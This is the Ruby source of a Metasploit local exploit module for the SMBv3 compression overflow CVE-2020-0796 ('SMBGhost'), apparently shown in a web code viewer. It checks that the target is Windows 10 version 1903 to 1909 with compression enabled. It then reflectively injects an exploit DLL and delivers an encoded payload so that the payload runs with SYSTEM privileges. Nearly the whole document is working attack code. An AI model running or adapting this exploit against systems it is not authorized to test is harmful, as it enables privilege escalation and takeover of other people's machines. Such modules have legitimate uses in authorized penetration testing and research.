Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = GoodRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Windows::Priv
11
  include Msf::Post::Windows::Process
12
  include Msf::Post::Windows::ReflectiveDLLInjection
13
  prepend Msf::Exploit::Remote::AutoCheck
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        {
20
          'Name' => 'SMBv3 Compression Buffer Overflow',
21
          'Description' => %q{
22
            A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
23
            execute code on a vulnerable server. This local exploit implementation leverages this flaw to elevate itself
24
            before injecting a payload into winlogon.exe.
25
          },
26
          'License' => MSF_LICENSE,
27
          'Author' => [
28
            'Daniel García Gutiérrez', # original LPE exploit
29
            'Manuel Blanco Parajón', # original LPE exploit
30
            'Spencer McIntyre' # metasploit module
31
          ],
32
          'Arch' => [ ARCH_X86, ARCH_X64 ],
33
          'Platform' => 'win',
34
          'SessionTypes' => [ 'meterpreter' ],
35
          'DefaultOptions' => {
36
            'EXITFUNC' => 'thread'
37
          },
38
          'Targets' => [
39
            # [ 'Windows 10 x86', { 'Arch' => ARCH_X86 } ],
40
            [ 'Windows 10 v1903-1909 x64', { 'Arch' => ARCH_X64 } ]
41
          ],
42
          'Payload' => {
43
            'DisableNops' => true
44
          },
45
          'References' => [
46
            [ 'CVE', '2020-0796' ],
47
            [ 'URL', 'https://github.com/danigargu/CVE-2020-0796' ],
48
            [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005' ]
49
          ],
50
          'DisclosureDate' => '2020-03-13',
51
          'DefaultTarget' => 0,
52
          'Notes' => {
53
            'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
54
            'Stability' => [ CRASH_OS_RESTARTS, ],
55
            'SideEffects' => [ IOC_IN_LOGS ],
56
            'Reliability' => [ REPEATABLE_SESSION, ],
57
            'RelatedModules' => [ 'exploit/windows/smb/cve_2020_0796_smbghost' ]
58
          }
59
        }
60
      )
61
    )
62
  end
63

64
  def check
65
    if session.platform != 'windows'
66
      # Non-Windows systems are definitely not affected.
67
      return Exploit::CheckCode::Safe
68
    end
69

70
    version = get_version_info
71
    vprint_status("Windows Build Number = #{version.build_number}")
72
    # see https://docs.microsoft.com/en-us/windows/release-information/
73
    unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909)
74
      print_error('The exploit only supports Windows 10 versions 1903 - 1909')
75
      return CheckCode::Safe
76
    end
77

78
    disable_compression = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters', 'DisableCompression')
79
    if !disable_compression.nil? && disable_compression != 0
80
      print_error('The exploit requires compression to be enabled')
81
      return CheckCode::Safe
82
    end
83

84
    CheckCode::Appears
85
  end
86

87
  def exploit
88
    if is_system?
89
      fail_with(Failure::None, 'Session is already elevated')
90
    end
91

92
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
93
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
94
    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
95
      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
96
    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
97
      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
98
    end
99

100
    print_status('Reflectively injecting the exploit DLL and executing it...')
101

102
    # invoke the exploit, passing in the address of the payload that
103
    # we want invoked on successful exploitation.
104
    encoded_payload = payload.encoded
105
    execute_dll(
106
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0796', 'CVE-2020-0796.x64.dll'),
107
      [encoded_payload.length].pack('I<') + encoded_payload
108
    )
109

110
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
111
  end
112
end
113

114